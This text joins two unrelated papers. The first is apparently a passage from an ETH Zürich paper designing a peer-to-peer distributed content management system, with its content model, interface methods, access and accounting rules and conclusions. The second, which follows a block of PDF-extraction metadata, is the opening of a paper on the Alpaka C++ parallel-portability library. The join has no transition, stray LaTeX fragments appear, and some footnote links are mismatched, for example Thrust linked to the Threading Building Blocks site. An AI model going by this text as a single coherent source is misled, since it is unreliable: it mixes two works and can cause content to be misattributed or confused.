This fundamental distinction between content and data is crucial for many CMS mechanisms, which will be discussed in more detail in Section 4. From a user perspective, accounting may be reasonable only on the content level, while computers usually can provide accounting on the data level only. Therefore, it is essential to find a mechanism enabling the mapping of data-level accounting records into the content-level.
To illustrate the difference and relation between content and data, Figure 2 defines an entity-relationship model with its main building blocks of multimedia content broken down to bits representing data. Multimedia content is a combination of different types of content, such as text documents, images, and audio/video streams. Each content type may be encoded in a variety of formats, such as gif, jpeg, or png for images. Depending on the content type and its format, different atomic data types may underlie the content, *e.g.*, an image that could either be based on pixels or vectors. In any case, content is always based on bits and bytes. By looking at a single data bit it is not possible to find out what type of content it actually represents.
As a result of this content variety, a CMS has to deal with a large number of different encoding and representation formats. A common solution to this problem today is the use of XML-based formats, which can be transformed into other formats on demand
---
1. A combination of those building blocks is discussed in more detail in Figure 3.
using different style sheets. For simplicity reasons and without loss of generality, it is assumed that content is formatted in a XML-based language. Furthermore, it is assumed that binary data could be encapsulated in XML using a Base64 encoding as specified in MIME [12].
As content is embedded in a specific context, a precise boundary of content can not be given. Therefore, it is difficult to map content onto individual data files without losing context information. However, to store or deliver content it is necessary to divide content into separate parts. Multimedia content as a combination of several different content types supports this requirement. The proposed content model (cf. Figure 3) addresses this problem. It describes the overall structure of content, which contains a number of embedded content objects. A content object can be atomic or serve as a container for other content objects itself. Atomic content objects are the smallest possible pieces of content, that a content management system can deal with. Within a container objects may be ordered in a designated sequence. E.g., consider a book with a number of chapters, which are intended to be read in a specific order. Alternatively, content objects might be linked together which allows a user to navigate through the content himself.
A content object could appear simultaneously in different contexts, but actually may be stored in the same place as represented by shaded objects in Figure 3. However, content objects do not necessarily have to be mapped 1:1 into data files. In the most extreme case, if the file size is fixed, like the page size in a book, content objects and data files may not overlap at all. This content model represents the structure of content independent from the structure of any underlying storage and network infrastructure. Content could either be stored in files, databases, or other data storage environments. Moreover, any underlying network topology is hidden in the content model. Therefore, it is irrelevant, whether individual content objects are stored centrally or distributed. A similar hierarchical model for content-aware management can be found in [9].
### 3.1.2 Content Management Model
Content management can be described by a set of functionality and interfaces that need to be provided on behalf of one or several users to create, maintain, and distribute content on a content base, i.e. a repository which is able to host any type of content in a reliable and efficient way.
The abstract model of a generic CMA (cf. Figure 4) assumes implicitly that components of the CMS are distributed. A user can access the CMS by means of a user application, e.g., a web browser, which interacts with the CMS interface and deals with the audiovisual representation of the content.
Such a generalized CMS can be considered as content management middleware in the sense that it provides a standardized interface abstracting away from the complexity of the system. Moreover, the approach on a detailed content storage in the content base is hidden from the user, which enables the user application to be implemented independently of any specific underlying platform. In the following the list of key CMS interface methods and functionality components is given and several options for content bases are outlined.
**CMS Interface Methods.** This API specification aims at a standardized semantic for basic methods describing the access of content by a user. The list of methods are intended for a high-level interface description abstracting away from implementation technologies, such as Java RMI or any other specific protocol. The syntax of those methods follows the common form of `returnValue = methodName (parameters)`.
- `id = putContent (content, userId)` enables a user to upload content from the local content repository into a CMS content base. In case that the local content repository is physically already part of the CMS content base, as it will appear in a distributed CMS, `putContent` would denote the ability by a user to select specific content for sharing with other users through the CMS. As a result a user will get back an identifier, e.g., a hash code or an URL, which uniquely identifies the content and could be used later as a key for accessing it. [8] presents a content addressing scheme for HTTP which uses SHA-1 hashes as URNs.
- `content = getContent (id, userId)` enables a user to download or read content from a CMS’ content base. Thereby the content might either be streamed or download-
---
1. More sophisticated CMS interface methods being necessary for a further improved CMS functionality are not covered within this paper’s scope.
ed as one or several files. Download does not necessarily mean that content will permanently be stored locally, it could also just be cached temporarily during its rendering. However, a distributed CMS might benefit from local replicas, which could immediately be accessed by third-party users.
- `boolean = removeContent(id, userId)` enables a user to remove content from the CMS content base. This determines the reversed method to the `putContent` method. This does not necessarily mean that the content is really deleted, it might just not being shared through the CMS any more. The actual deletion may be performed otherwise, e.g., locally through the operating system or by an additional CMS method. The boolean return value indicates whether the action has been performed or not.
- `boolean = modifyContent(id, patch, userId)` enables a user to change content, e.g., by applying a patch, i.e. the differences to the content, which has previously been uploaded into the CMS content base. The boolean return value indicates the result of the action.
- `id[] = searchContent(metadata, searchType, userId)` enables a user to search for content matching with a specific meta data description. This method also allows for different types of search, such as basic keyword-based lookup or sophisticated best-matching search. Furthermore, browsing in an index list or in metadata-based categories is supported by the CMS interface. As a result a user gets a list of content identifiers, which match with the according search query.
**CMS Functionality Components.** The following set of functionality is required to be provided by a CMS. Specialized CMS’, which focus on a specific CMS scenario as exemplified in Section 2.2, may only support a subset of these components depending on given requirements. The CMS functionality components and their dependencies are illustrated in Figure 5.
**Figure 5:** CMS Functionality Components
- **Logging and Accounting Support:** This functionality includes metering and mediation of all types of transactions and method invocations, including usage of
functionality components. It combines this information with the user information collected by the authentication component to perform logging and charging and to provide monitoring support if necessary. Accounting support will be detailed in Section 4.
- **Pricing and Charging Support:** The pricing and charging functionality comprises valuation and pricing of content, as well as charge calculation and billing mechanisms. The pricing component sets and disseminates the price. It interacts with the user application to negotiate a dynamic price with the user. The settled tariff will be used by the charge calculation to combine the accounting information with the specified price to calculate the according content charge.
- **Scheduling and Resource Allocation Support:** Scheduling is needed to process any CMS method invocations as well as to perform the allocation of resources in a fair manner. Different scheduling methods are in place, such as round-robin scheduling, priority-based scheduling, shortest-job-first scheduling, or even techniques like earliest-deadline-first mechanisms that support real-time applications such as audio/video streaming.
- **Authentication, Access Control, and Security Support:** This functionality includes a set of mechanisms meeting various types of security requirements, such as privacy, access protection, integrity, authenticity, and non-repudiation. Different levels of security are supported, *e.g.*, from public and anonymous to private and authenticated. In particular, access control requires the authentication of users, *e.g.*, implemented by a shared secret, and it might authorize the access of content based on this information. These mechanisms are detailed in Section 4. Furthermore, suitable encryption and signing mechanisms might be adopted to meet further security requirements.
- **Versioning and Replication Support:** Versioning keeps track of different versions of the same content, which has been modified by one or several users. In addition it enables the provisioning of personalized content, *e.g.*, content in different languages, different quality levels or different formats. In a distributed environment with replication, versioning grows even more important, as it has to ensure that modifications on content are performed consistently over several potential replicas of the same content.
- **Indexing and Meta Data Management Support:** Indexing manages a list of available content, which has previously been uploaded and may now be shared through the CMS. Such a list could either be allocated centrally or distributed. This functionality might further support the attachment of meta-information to content, which it could extract automatically from content or receive it from the user through additional interfaces. Options on attaching meta information to content are discussed just below.
In addition, further optional management functionality might be supported by a CMS, such as mass operations or workflow management.
**CMS Content Base.** The content base should efficiently and reliably store the content in a way which is transparent to the user. In particular, content might be stored centrally or distributed depending on the requirements of a specific application scenario.
Several storage options are discussed in [7]. The major problem on attaching meta-information to content is performed differently for each option.
- **File-oriented**: The content is stored in files on a local or distributed file system. Meta-information, which might not be supported by the file system, can be provided within the file, e.g., as meta-information tags or it needs to be stored separately.
- **Object-oriented**: The content is encapsulated as an object, which is stored in an object-oriented database. Meta-information can be attached directly to objects.
- **Relational**: The content is stored as data in two-dimensional tables and is assembled dynamically upon request using logic expressions. Meta-information can be stored in separate fields within a table.
Apart from these options other approaches are discussed in [7] such as, e.g., index-sequential files, which are not covered within this paper.
### 3.2 Peer-to-peer Services Architecture
The aim of the CMA presented above was to abstract away from any underlying infrastructure or network topology. The design of the Distributed Content Management System (cf. Section 4) is based on SOPPS, a service-oriented P2P architecture [14], [26]. SOPPS has been developed within the MMAPPS project [20]. It describes four different models, a use model, a network model, a peer model, and a service model covering the most relevant aspects of a P2P services architecture. While the network model considers transparent end-to-end connections between different peers, the service model illustrates the use of peers and the network to provide services. An other approach for a P2P service architecture can be found in [16].
#### 3.2.1 Peer Model
The peer model of SOPPS describes the internal structure of a peer, which is composed of four layers as shown in Figure 6. Each peer provides several interfaces allowing networked peers to interact with each other. The following list briefly outlines major characteristics of these different layers.

• **Local Resources:** Each peer has a limited number of hardware and software resources. Hardware resources, such as processing power, memory or storage, and network links, cannot be copied or transmitted. In contrast, software resources, such as content and applications, can be duplicated and transmitted through the network. It is assumed that both types of resources are offered to other peers. It is important to note, however, that software resources always draw on hardware resources, *e.g.*, for their storage and distribution.
• **Resource Encapsulation Services:** To resolve the duality between resources and services, resource encapsulation services encapsulate access to local resources through the provisioning of standardized interfaces. Drawing directly on local operating system functionality, resource encapsulation services provide access to local resources for local as well as remote advanced services.
• **Advanced Services:** Advanced services provide more than just a standard interface to local resources. They typically involve several resources to work together to provide an advanced service. *E.g.*, consider an image comparison service taking two pictures, comparing one with another, and yielding a degree of similarity as its output. Such a service builds on several local resources, *i.e.* the image content, storage resources, and an application providing the algorithm for the comparison. In the most extreme case these resources could all come from resource encapsulation services on different peers.
• **Core Functionality:** This layer provides the functionality needed to uphold peer network services. It is in charge of basic functionality, like access control, accounting, and service management as well as protocols for distributed functionality. In particular, it includes those functionality that supports the market management of the system, such as pricing and charging. Core functionality modules may access and cooperate with the corresponding modules on remote peers.
### 4 Fine Design and Implementation of the DCMS
The design of the DCMS implements the generic content management model introduced in Section 3.1. The architecture design is based on a P2P network infrastructure (cf. Figure 6). Peers participating in a P2P system can offer services and simultaneously use services offered by other peers. The three dimensional illustration in Figure 6 represents peers as slices of a hollow cylinder. Every peer is running parts of a CMS middleware and may, at the same time, make use of this middleware by means of a user application. Middleware and user application are connected through a link representing the underlying P2P network.
Looking at a single peer from the front the design in Figure 6 exactly reproduces the two dimensional CMA model shown in Figure 4 except that the CMS functionality and interfaces on every peer are now part of an overall CMS middleware, which is jointly provided by all peers. In order to interact with each other, every peer has to provide a set of core functionality and interfaces which needs to be the same on all peers. Apart from that peers might provide additional functionality, which can be offered as services to other peers. The content managed within the CMS middleware is stored in a distributed content base, which spans the entirety of all peers. A specific content object is pro-
vided by a single peer or several peers together. The CMS middleware could, e.g., make use of replicas of the same content and distribute parts of them in parallel.
The design of the CMS middleware is based on the following assumptions:
- There exists an authentication infrastructure, such as X.509 [15], which is able to setup trust relationships between peers, authenticate providers and users of the CMS middleware, and encrypt content upon need.
- There exists a shared space, such as a distributed hash table or a database, which may be used to store and lookup content meta data, user and group information, accounting information, or other shared data. Currently, many approaches based on distributed hash tables are available for search in P2P systems. Among them are Tapestry [29], Pastry [25], Chord [2], and Content-addressable Networks (CAN) [24].
- There are suitable mechanisms, e.g., voting support or reputation management in place, enabling the enforcement, but not necessarily guaranteeing compliance with predefined rules for content exchanged among the peers.
4.1 CMS Middleware Breakdown
The CMS middleware draws on the peer model. Based on different layers of a peer (cf. Figure 6) the CMS middleware is described as it would be deployed on all peers. In Figure 8 all different components of the CMS middleware are illustrated. Those parts of the middleware, which are labeled in italics, are adopted from the underlying SOPPS architecture. In addition, the CMS middleware introduces two kind of services, basic content encapsulation services and advanced multipart content services.
Content Encapsulation Services. Any collection of raw data being identified as an atomic content object, e.g., a text document, an image, or a video (cf. Section 3.1.1), is wrapped by the instance of a content encapsulation service. The aim of this service is to represent a content object, which may reside on different types of data sources, such as file systems and relational or object-oriented databases. Thereby, data remains in the according data source and is referenced in the service by a pointer to the actual location. Only if the content is requested by another peer the data is de-referenced and appropriately formatted to be distributed.
**Multipart Content Services.** Those content objects, which serve as a container for a collection of other content objects, such as a web page containing images or any other type of multimedia content, are represented by the instance of a multipart content service. The purpose of this service is to represent the structure of content. Multipart content services draw on content encapsulation services, but they may also access local resources directly to increase performance and flexibility of the middleware using, e.g., the functionality provided by a local file system.

Both types of services implement a service API, which enables a user application on another peer to interact with these services. All requests are caught by one or several service dispatchers, which activate corresponding services based on the content id and hand on the according request. The service API inherits methods of the corresponding basic service type, i.e. resource encapsulation service and advanced service, respectively, and, in addition, implements CMS interface methods presented in Section 3.1.2. To perform the necessary CMS functionality, such as indexing, versioning control, access control, accounting, and charging, these services make use of a set of core functionality modules. The interaction between services and core functionality is described in detail below, whereas access control and accounting are specifically focussed at. Thereby, the CMS middleware introduces four new data types.
**Access Rules.** The purpose of an access rule is to specify under which conditions access to a specific content is allowed or denied. [28] presents different security models for content-based access control. Services may use access right information to decide, whether an access request, such as getContent or modifyContent (cf. Section 3.1.2), is performed or not. Conditions are represented as expressions including user information, security or quality level, accounting information from previous requests, payment information, time information or other necessary data. Condition expressions may be
based on the result of other conditions. Hence, a service can restrict the access to content depending on who, when, how often, and under what circumstances makes a request. Information, which is used in a condition, is gathered dynamically from different core functionality modules, or, if provided as a request parameter, such as user information or a content id, sent to the according module which looks up, decrypts, or authenticates the respective information.
**Accounting Rules.** The aim of accounting rules is to specify under which conditions a service has to log access events, perform measurements of an according transaction, or even attach specific information to a response such as a token. Mojo Nation [21] is an approach that deals with decentralized accounting in P2P networks. Conditions of an accounting rule may basically use the same information as access rules. In addition, an accounting rule could indicate which values have to be measured and it contains expressions specifying how these measurements are aggregated. Depending on the evaluation result of a rule expression, a service may create an accounting record.
Access and accounting rules are created and maintained by the rules management module. For rules storage a local or distributed database can be used, which is accessible by all peers. Alternatively, rules could be stored within a service and transmitted at every request together with the content, e.g., attached as meta-information. If an accounting rule and an access rule use the same set of conditions, according rules are combined to increase the performance of rule evaluations. An other approach which deals with the attachment of rules to services can be found in [3].
There are many different solutions available dealing with access control and accounting on the network/data level. Iptables [22] is a powerful traffic filter which is deployed on Linux-based systems and can be used to perform access control and logging, while NeTraMet [6] is a useful tool which enables to account for any kind of traffic data. Approaches like these could be adopted to perform access control and accounting on the application/content-level.
**Accounting Records.** Accounting records are created by services and may contain any accounting information as specified in an accounting rule, e.g., content id, user id, delivery time, quality level, or information about usage of local resources. Records are transmitted to the accounting support module, which may store it in a local or distributed database. The charging support module can make use of the accounting records to perform the settlement for the content accessed.
**Service Descriptions.** Content encapsulation services and multipart content services create a service description specifying necessary content meta information. Service descriptions are maintained by the service support module, which uses these descriptions to reply on specific search or index requests as well as for versioning control and replication management. Alternatively, search descriptions can be stored in a distributed hash table being accessed by any peer. Search, versioning control, and replication will not further be detailed at this point.
5 Evaluation
The proposed DCMS design is analyzed and evaluated based on a typical CMS scenario covering the most relevant aspects of those scenarios presented in Section 2.2. As an example Figure 9 depicts a set of four different peers A, B, C, and D, where all of them operate the CMS middleware (MW) presented in Section 4.1. Respective local content bases and applied user applications (UA) may be different on every peer as long as they support or are supported by the MW. In the example a set of three different content objects are considered, two atomic objects, and a third container object infolding the other two, all of which have not yet been developed at the beginning. This scenario reveals the following operations (cf. Figure 9):
1. **Collaboration and Management:** Peer A and B start with the collaboration on the content. Peer A creates locally a first version of the two atomic content objects. The UA of peer A uses the local MW interface (putContent) to make the content available for peer B. While there are no accounting rules attached to these objects, the access rule for both objects reveals that only peer A and B are allowed to get and modify the content. The same applies for the container object shared by peer B. As peer B now accesses the container object on the local content base, the two embedded atomic objects are retrieved from peer A. If peer A or B modify any of the shared objects, the versioning module synchronizes the modifications with the respective object on the other peer.
2. **Distribution:** As the content developed by peer A and B is settled, they might designate peer C as an authorized distributor of their content. Access rules are therefore changed and peer C is assigned the right to get, but not modify the content. The new accounting rule might determine the obligation to account for all get-
Content requests. An appropriate service description is made accessible for search by any peer.
3. **Re-Distribution:** Peer D might have accessed the service description at peer A (not shown). Peer C sells the content to peer D on behalf of peer A and B. The access of the content by peer C might depend on several conditions regarding, e.g., payment information and previous accounting information. During the transaction the accounting rule triggers the generation of accounting records at peer C.
4. **Settlement (not shown):** On the basis of accounting records generated by peer C, it is possible to calculate the charges, bill the customers, and share revenues between peer A, B, and C. As mentioned earlier, it is assumed that there are mechanisms in place, which may be used to store reliably and eventually prove such sensitive data.
6 **Conclusions**
This paper presented the design of a Distributed Content Management System (DCMS) based on a generic Content Management Architecture (CMA). The proposed P2P-based CMS middleware implements the CMA in a completely distributed fashion, which forgoes any centralized components. The presented approach is very flexible as it supports different types of CMS scenarios, which content might experience during its life cycle. Requirements gained from a detailed analysis of the different CMS scenarios have been addressed, while in particular, access control and accounting were focussed and investigated.
The generic CMA discusses in detail the content model and the management functionality, independent of any underlying infrastructure for storage or delivery. Considerations taken there, e.g., the clear distinction between content and data, and the presented CMS interface methods are, therefore, also valid for environments other than P2P. A comprehensive list of CMS functionality components tackles those requirements of current and future content management solutions and delineates key issues and design options.
The proposed implementation of the generic CMA based on a service-oriented P2P architecture reveals the feasibility of those concepts on a P2P platform which is currently being developed. Introducing a set of new data types, in particular access rules and accounting rules, the key requirements of a DCMS can be met based on a set of valid assumptions. Finally, the DCMS design can be evaluated sucessfully based on a specific scenario covering the most relevant aspects of any CMS scenario.
Further work will detail accounting, charging, and billing issues on a content-based level. While search and replication are currently widely investigated in P2P networks research, accounting and charging are still at its infancy.
**Acknowledgements**
This work has been performed partially in the framework of the EU IST project “Market Management of Peer-to-Peer Services” (MMAPPS, IST-2001-34201), where ETH Zürich has been funded by the Swiss Bundesministerium für Bildung und Wissenschaft.
BBW, Bern (Grant No. 00.0275). The authors like to acknowledge various discussions and implementation help from J. Gerke and J. Mischke. Furthermore, many thanks go to B. Wicki who discussed and worked at CMS and P2P characterizations.
References
|
{"Source-Url": "https://www.research-collection.ethz.ch/bitstream/handle/20.500.11850/98257/eth-26128-01.pdf?isAllowed=y&sequence=1", "len_cl100k_base": 9191, "olmocr-version": "0.1.53", "pdf-total-pages": 23, "total-fallback-pages": 0, "total-input-tokens": 46878, "total-output-tokens": 11796, "length": "2e13", "weborganizer": {"__label__adult": 0.0002956390380859375, "__label__art_design": 0.0008988380432128906, "__label__crime_law": 0.00033855438232421875, "__label__education_jobs": 0.0007619857788085938, "__label__entertainment": 0.00014603137969970703, "__label__fashion_beauty": 0.00014674663543701172, "__label__finance_business": 0.0008649826049804688, "__label__food_dining": 0.00032711029052734375, "__label__games": 0.0005741119384765625, "__label__hardware": 0.0014057159423828125, "__label__health": 0.0004029273986816406, "__label__history": 0.0003330707550048828, "__label__home_hobbies": 7.468461990356445e-05, "__label__industrial": 0.0004148483276367187, "__label__literature": 0.0002682209014892578, "__label__politics": 0.0002446174621582031, "__label__religion": 0.000415802001953125, "__label__science_tech": 0.09149169921875, "__label__social_life": 8.475780487060547e-05, "__label__software": 0.044769287109375, "__label__software_dev": 0.85498046875, "__label__sports_fitness": 0.00018680095672607425, "__label__transportation": 0.00042319297790527344, "__label__travel": 0.0002313852310180664}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 53330, 0.02888]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 53330, 0.33169]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 53330, 0.91223]], "google_gemma-3-12b-it_contains_pii": [[0, 250, false], [250, 382, null], [382, 382, null], [382, 3188, null], [3188, 6608, null], [6608, 9852, null], [9852, 11912, null], [11912, 15055, null], [15055, 18082, null], [18082, 20281, null], [20281, 22793, null], [22793, 24982, null], [24982, 27080, null], [27080, 30356, null], [30356, 32416, null], [32416, 35807, null], [35807, 38072, null], [38072, 40217, null], [40217, 43445, null], [43445, 45303, null], [45303, 48277, null], [48277, 51147, null], [51147, 53330, null]], "google_gemma-3-12b-it_is_public_document": [[0, 250, true], [250, 382, null], [382, 382, null], [382, 3188, null], [3188, 6608, null], [6608, 9852, null], [9852, 11912, null], [11912, 15055, null], [15055, 18082, null], [18082, 20281, null], [20281, 22793, null], [22793, 24982, null], [24982, 27080, null], [27080, 30356, null], [30356, 32416, null], [32416, 35807, null], [35807, 38072, null], [38072, 40217, null], [40217, 43445, null], [43445, 45303, null], [45303, 48277, null], [48277, 51147, null], [51147, 53330, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 53330, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 53330, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 53330, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 53330, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 53330, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 53330, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 53330, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 53330, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 53330, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 53330, null]], "pdf_page_numbers": [[0, 250, 1], [250, 382, 2], [382, 382, 3], [382, 3188, 4], [3188, 6608, 5], [6608, 9852, 6], [9852, 11912, 7], [11912, 15055, 8], [15055, 18082, 9], [18082, 20281, 10], [20281, 22793, 11], [22793, 24982, 12], [24982, 27080, 13], [27080, 30356, 14], [30356, 32416, 15], [32416, 35807, 16], [35807, 38072, 17], [38072, 40217, 18], [40217, 43445, 19], [43445, 45303, 20], [45303, 48277, 21], [48277, 51147, 22], [51147, 53330, 23]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 53330, 0.04918]]}
|
olmocr_science_pdfs
|
2024-12-04
|
2024-12-04
|
5a6804f8d6b888fc95b8397a00309b7a0b742935
|
Abstract
Porting applications to new hardware or programming models is a tedious and error prone process. Every help that eases these burdens is saving developer time that can then be invested into the advancement of the application itself instead of preserving the status-quo on a new platform.
The Alpaka library defines and implements an abstract hierarchical redundant parallelism model. The model exploits parallelism and memory hierarchies on a node at all levels available in current hardware. By doing so, it allows to achieve platform and performance portability across various types of accelerators by ignoring specific unsupported levels and utilizing only the ones supported on a specific accelerator. All hardware types (multi- and many-core CPUs, GPUs and other accelerators) are supported for and can be programmed in the same way. The Alpaka C++ template interface allows for straightforward extension of the library to support other accelerators and specialization of its internals for optimization.
Running Alpaka applications on a new (and supported) platform requires the change of only one source code line instead of a lot of #ifdefs.
Keywords. Heterogeneous computing, HPC, C++, CUDA, OpenMP, platform portability, performance portability
1 Introduction
1.1 Motivation
Performance gain by employing parallelism in software nowadays faces a variety of obstacles. Parallel performance currently relies on the efficient use of many-core architectures that are commonly found in a heterogeneous environment of multi-core CPU and many-core accelerator hardware.
Heterogeneous systems often expose a memory hierarchy that has to be used efficiently as high computational performance usually requires high memory throughput, demanding the development of efficient caching strategies by application developers.
The same developers face a variety of parallel computing models either specific to a certain hardware or with limited control over optimization. Many models aim for providing easy to learn interfaces that hide the complexities of memory management and parallel execution while promising performance portability, but ultimately fall short of at least one of their aims.
Due to the Herculean effort associated with main-
taining a multi-source application even large development teams thus usually have to choose a strategy of trading performance for portability or vice versa by choosing one single programming model.
Alpaka was designed to prevent this trade off by providing a single source abstract interface that exposes all levels of parallelism existent on today’s heterogeneous systems. Alpaka heavily relies on existing parallelism models, but encapsulates them via a redundant mapping of its abstract parallelization hierarchy [4] to a specific hardware, allowing for mixing various models in a single source C++ code at runtime. Thus, hardware-specific optimizations are possible without the necessity for code replication.
Alpaka therefore is open to future performance optimizations while providing portable code. This is only possible as Alpaka relies on the developers ability to write parallel code by explicitly exposing all information useful for defining parallel execution in a heterogeneous environment rather than hiding the complexities of parallel programming.
Moreover, Alpaka limits itself to a simple, pointer based memory model that requires explicit deep copies between memory levels. This puts the developer in the position to develop portable parallel caching strategies without imposing restrictions on the memory layout. Thus, developers achieve performance portability by skillful code design for which Alpaka provides a single source, explicit redundant parallelism model without any intrinsic optimization hidden from the user.
In the following, we define some categories in order to compare Alpaka to existing models for parallel programming.
**Openness** By Openness we refer to models licensed as open source or defined by an open standard.
**Single source** A model that provides for single source code allows for the application code to be written in a single programming language. It furthermore does not require extensive multiple compilation branches with varying implementations of an algorithm specific to a certain hardware. Single source models may provide annotations (e.g. compiler directives) or add defined words to the language that describe parallel execution.
**Sustainability** We define a sustainable parallel programming model as a model where the porting of an algorithm to another hardware requires minimum changes to the algorithmic description itself. Sustainable models furthermore should be adaptable to future hardware and be available for at least two varieties of current hardware architectures.
**Heterogeneity** Parallel programming models map to heterogeneous systems if they allow for developing a single source code in such a way that execution on various hardware architectures requires minimum specific changes (e.g. offloading, memory scope), execution of a single algorithmic implementation on various architectures can happen in the same program and at the same time during run time.
**Maintainability** We define a parallel programming model to serve code maintainability if it provides a single source code that is sustainable and allows for execution on heterogeneous hardware by changing or extending the programming model rather than the application source code.
**Testability** A model provides testability if an algorithmic implementation can be tested on a specific hardware and give, in a lose sense, the same results when migrating to another hardware. Testability requires sustainability, heterogeneity and maintainability but furthermore demands a separation of the algorithmic description from hardware specific features.
**Optimizability** We define an optimizable model by the fact that it provides the user with complete control over the parallelization of the algorithm as well as the memory hierarchy in a heterogeneous system. Furthermore, fine-tuning algorithmic performance to a specific hardware should not force developers to write multiple implementations of the same algorithm, but rather be provided for by the model.
**Data structure agnostic** A data structure agnostic model does not restrict the memory layout, it instead provides full control over the memory allocation and layout on all hierarchy levels, exposes deep copies between levels and does not assume a certain distribution of the memory over the various hierarchy levels. Specifically, it does not provide distributed data types that are intertwined with the parallelization scheme itself.
**Performance Portability** A model provides per-
formance portability if for a given single source sustainable and maintainable implementation of an algorithm the hardware utilization on various systems is the same within reasonable margins, taking into account the limitations of the specific hardware. Performance portability does not require optimum utilization of the hardware.
2 Related Work
In the following we briefly discuss other libraries targeting the portable parallel task execution within nodes. Some of them require language extensions, others advertise performance portability across a multitude of devices. However, none of these libraries can provide full control over the possibly diverse underlying hardware while being only minimally invasive. Furthermore, many of the libraries do not satisfy the requirement for full single-source (C++) support.
CUDA\[3\] is a parallel computing platform and programming model developed by NVIDIA. The user is bound to the usage of NVIDIA GPUs. CUDA is not open source and does not provide for Sustainability, heterogeneity, maintainability and testability. For CUDA enabled hardware it provides for optimizability.
PGI CUDA-X86\[1\] is a compiler technology that allows to generate x86-64 binary code from CUDA C/C++ applications using the CUDA runtime API but does not support the CUDA driver API. Compared to CUDA it allows for heterogeneity, maintainability and testability, but it currently falls behind in adapting to the latest CUDA features, thus has limited support for sustainability. As it does not provide for control of optimizations for X86 architectures, it lacks optimizability.
GPU Ocelot[2] is an open source dynamic JIT compilation framework based on llvm which allows to execute native CUDA binaries by dynamically translating the NVIDIA PTX virtual instruction set architecture to other instruction sets. It supports NVIDIA and AMD GPUs as well as multicore CPUs via a PTX to LLVM translator. The project is not in active development anymore and only supports PTX up to version 3.1 while the current version is 4.2. Thus, it is in many respects similar to PGI CUDA-X86.
OpenMP\[2\] is an open specification for vendor agnostic shared memory parallelization which allows to easily parallelize existing sequential C/C++/Fortran code in an incremental manner by adding annotations (pragmas in C/C++) to loops or regions. Up to version 4.5 there is no way to allocate device memory that is persistent between kernel calls in different methods because it is not possible to create a device data region spanning both functions in the general case. Currently OpenMP does not allow for controlling the hierarchical memory as its main assumption is a shared memory pool for all threads. Therefore, the block shared memory on CUDA devices cannot be explicitly utilized and both heterogeneity and optimizability are not provided for.
OpenACC\[3\] is an open pragma based programming standard for heterogeneous computing which is very similar to OpenMP and provides annotations for parallel execution and data movement as well as run-time functions for accelerator and device management. It allows for limited access to CUDA block shared memory but does not support dynamic allocation of memory in kernel code. It thus does not provide for optimizability and in a practical sense, due to the very limited number of implementations, heterogeneity and sustainability.
OpenCL\[4\] is an open programming framework for heterogeneous platforms. It supports heterogeneity as it can utilize CPUs and GPUs of nearly all vendors. Versions prior to 2.1 (released in March 2015) did only support a C-like kernel language. Version 2.1 introduced a subset of C++14, but there are still no compilers available. OpenCL thus does not support single source programming. Furthermore, it does not allow for dynamic allocation of memory in kernel code and thus does not fully support optimizability.
SYCL\[5\] is an open cross-platform abstraction layer based on OpenCL and thus shares most deficiencies
\[1\]https://www.pgroup.com/resources/cuda-x86.htm
\[2\]http://openmp.org/
\[3\]http://www.openacc-standard.org/
\[4\]https://www.khronos.org/opencl/
\[5\]https://www.khronos.org/sycl/
with OpenCL, however it in principle would allow for \textit{optimizability}. In contrast to OpenCL it allows for \textit{single source heterogeneous} programs, but as of now there is no usable free compiler implementation available that has good support for multiple accelerator devices, thus it currently lacks \textit{sustainability}.
\textbf{C++ AMP} is an \textit{open} specification from Microsoft which is implemented on top of DirectX 11 and thus currently limited in terms of \textit{heterogeneity}, \textit{sustainability} and \textit{testability}. It is a language extension requiring compiler support that allows to annotate C++ code that then can be run on multiple accelerators. It lacks full control of parallel execution and memory hierarchy and thus falls short of supporting \textit{optimizability}. Due to restrictions on data types that provide for portability (see e.g. \texttt{concurrency::array}) it is not \textit{data structure agnostic}.
\textbf{KOKKOS} is an \textit{open source} abstract interface for portable, high-performance shared memory programming and in many ways similar to Alpaka. However, kernel arguments have to be stored in members of the function object coupling algorithm and data together. It thus is not \textit{data structure agnostic} and in this sense limited in its \textit{optimizability}.
\textbf{Thrust} is an \textit{open source} parallel algorithms library resembling the C++ Standard Template Library (STL) which is available for CUDA, Thread Building Blocks and OpenMP back-ends at make-time. Its container objects are tightly coupled with the parallelization strategy, therefore Thrust is not \textit{data structure agnostic}. Thrust aims at hiding the memory hierarchy and is limited in expressing parallel execution, thus it cannot achieve full \textit{optimizability}.
Table 1 provides a summary of all related work and a comparison to Alpaka.
---
\begin{itemize}
\item \textbf{C++ AMP} \footnote{https://msdn.microsoft.com/en-us/library/hh265136.aspx}
\item \textbf{KOKKOS} \footnote{https://github.com/kokkos}
\item \textbf{Thrust} \footnote{https://www.threadingbuildingblocks.org/}
\end{itemize}
3 Introduction to Alpaka
This section serves as an introduction to Alpaka. It first explains the conceptual ideas behind Alpaka, then provides an overview of the hardware abstraction model of Alpaka as well as how the model is mapped to real devices. Lastly, the Alpaka programming API is described.
3.1 Conceptual Overview
Alpaka provides a single abstract C++ interface to describe parallel execution across multiple levels of the parallelization hierarchy on a single compute node. Each level of the Alpaka parallelization hierarchy is unrestricted in its dimensionality. In addition, Alpaka uses the offloading model, which separates the host from the accelerator device.
